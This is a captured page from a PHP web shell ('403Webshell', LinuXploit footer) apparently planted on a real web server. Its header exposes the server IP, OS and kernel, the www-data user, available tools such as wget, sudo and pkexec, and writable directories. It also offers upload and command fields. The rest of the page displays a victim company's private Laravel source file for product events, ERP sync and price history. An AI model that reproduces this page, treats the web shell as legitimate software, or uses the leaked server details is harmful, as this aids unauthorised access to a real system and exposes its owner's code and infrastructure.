403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Events/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Events/ProdutoEvent.php
<?php

namespace App\Events;

use App\Modules\Produto\Models\Produto;
use App\Modules\EstoqueLocal\Models\EstoqueLocal;
use App\Modules\Estoque\Models\Estoque;
use App\Modules\ProdutoErp\Models\ProdutoErp;
use App\Modules\Empresa\Models\Empresa;
use App\Modules\ProdutoListaPreco\Models\ProdutoListaPreco;

use App\Services\ErpService;
use App\Services\GeralService;

use Illuminate\Support\Facades\Log;
use DB;

class ProdutoEvent
{
    /**
     * Listen to the Produto created event.
     *
     * @param  Produto $Produto
     * @return void
     */
    public function created(Produto $Produto)
    {
        Log::info('ProdutoEvent::created');
        $empresas = GeralService::buscarEmpresasIntegracao();
        foreach ($empresas as $empresa) {
            $obj             = new \stdClass();
            $obj->empresa_id = $empresa->id;
            $obj->produto_id = $Produto->id;
            $obj->unidade_negocio_id = $Produto->unidade_negocio_id;
            ProdutoErp::saveErp($obj, FALSE);
            Estoque::saveEstoque($obj, FALSE);
        }

        //Gatilho Listar Compras
        if(substr($Produto->nome, 0, 5) != 'CLONE' && substr($Produto->sku, 0, 5) != 'CLONE'){
            $Produto->listar_compras = 1;
            $Produto->save();

            $sql = "UPDATE sis_basic_info SET sequencia_sku = sequencia_sku+1 WHERE id = 1";
            DB::update($sql);

        }
        
        Log::info('ProdutoEvent::created');
    }

    /**
     * Listen to the Produto deleting event.
     *
     * @param  Produto $Produto
     * @return void
     */
    public function deleting(Produto $Produto)
    {
        //
    }

    /**
     * Listen to the Produto created event.
     *
     * @param  Produto $Produto
     * @return void
     */
    public function updated(Produto $Produto)
    {
       
    }

    /**
     * Listen to the Produto deleting event.
     *
     * @param  Produto $Produto
     * @return void
     */
    public function updating(Produto $Produto)
    {
        //
    }

        /**
     * Listen to the Produto created event.
     *
     * @param  Produto $Produto
     * @return void
     */
    public function saved(Produto $Produto)
    {
        $old = $Produto->getOriginal();

        if(isset($old['localizador']) && $old['localizador'] != $Produto->localizador){
            $EstoqueLocal                    = new EstoqueLocal();
            $EstoqueLocal->produto_id        = $Produto->id;
            $EstoqueLocal->data_movimentacao = date('Y-m-d H:i:s');
            $EstoqueLocal->local_antigo      = $old['localizador'];
            $EstoqueLocal->local_novo        = $Produto->localizador;
            $EstoqueLocal->save();
            Log::info('alterarProduto Event');
        }

        if(empty($Produto->bkp_apresentacao_vinumday) && !empty($Produto->apresentacao_vinumday)){
            $Produto->bkp_apresentacao_vinumday = $Produto->apresentacao_vinumday;
            $Produto->save();
        }

        $fieldsObserveChange = ['sku', 'preco_custo','nome','peso_bruto','peso_liquido','unidade_de_medida','situacao'];
        $changeProduto       = FALSE;
        $changeSku           = FALSE;
        foreach ($fieldsObserveChange as $field):
            if(isset($old[$field]) && $old[$field] != $Produto->$field):
                $changeProduto = TRUE;
                if($field == 'sku'):
                    $changeSku = TRUE;
                endif;
                break;
            endif;
        endforeach;

        //MUDANÇA SKU
        if($changeSku && substr($old['sku'], 0, 5) == 'CLONE' && $Produto->sincronizar_tiny == 0){

            $info          = \App\BasicInfo::find(1);
            $skuInit       = $info->mascara_sku;
            $result        = explode($skuInit, $Produto->sku);
            $sequencia_sku = $result[1];
            $sequencia_sku = ($sequencia_sku > $info->sequencia_sku ? $sequencia_sku : ($info->sequencia_sku + 1));

            $sql  = "UPDATE sis_basic_info SET sequencia_sku = {$sequencia_sku} WHERE id = 1";
            Log::info("{$Produto->sku} => {$sql}");
            DB::update($sql);

        }

        //Verifica Alterações de Preço
        $fieldsPrecoChange = ['preco_custo','preco_de_venda','preco_mercado','custo_efetivo'];
        $changePreco       = FALSE;
        foreach ($fieldsPrecoChange as $field):
            if(isset($old[$field]) && $old[$field] != $Produto->$field):
                $changePreco = TRUE;
                break;
            endif;
        endforeach;

        //Atualiza Lista Preço x Produto
        if($changePreco && substr($Produto->nome, 0, 5) != 'CLONE' && substr($Produto->sku, 0, 5) != 'CLONE'){

            Log::info("Alteração Preço Produto {$Produto->id}: Preço Custo: {$Produto->preco_custo} | Preço Mercado: {$Produto->preco_mercado} | Preço de Venda: {$Produto->preco_de_venda}");

            $ProdutoListaPreco                = new ProdutoListaPreco;
            $ProdutoListaPreco->produto_id    = $Produto->id;
            $ProdutoListaPreco->preco_custo   = $Produto->preco_custo;
            $ProdutoListaPreco->preco_mercado = $Produto->preco_mercado;
            $ProdutoListaPreco->preco_venda   = $Produto->preco_de_venda;
            $ProdutoListaPreco->custo_efetivo = $Produto->custo_efetivo;
            $ProdutoListaPreco->origem        = !empty($Produto->origem_preco) ? $Produto->origem_preco : 'produto';
            $ProdutoListaPreco->save();

        }

        if($Produto->sincronizar_tiny == 0 && substr($Produto->nome, 0, 5) != 'CLONE' && substr($Produto->sku, 0, 5) != 'CLONE'){
            $Produto->sincronizar_tiny = 1;
            $Produto->save();
            Log::info('sincronizar_tiny');
        }elseif($changeProduto){
            Log::info('alterarProduto Event');
            ErpService::alterarProduto($Produto);
        }
        
    }

    /**
     * Listen to the Produto deleting event.
     *
     * @param  Produto $Produto
     * @return void
     */
    public function saving(Produto $Produto)
    {
        //
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit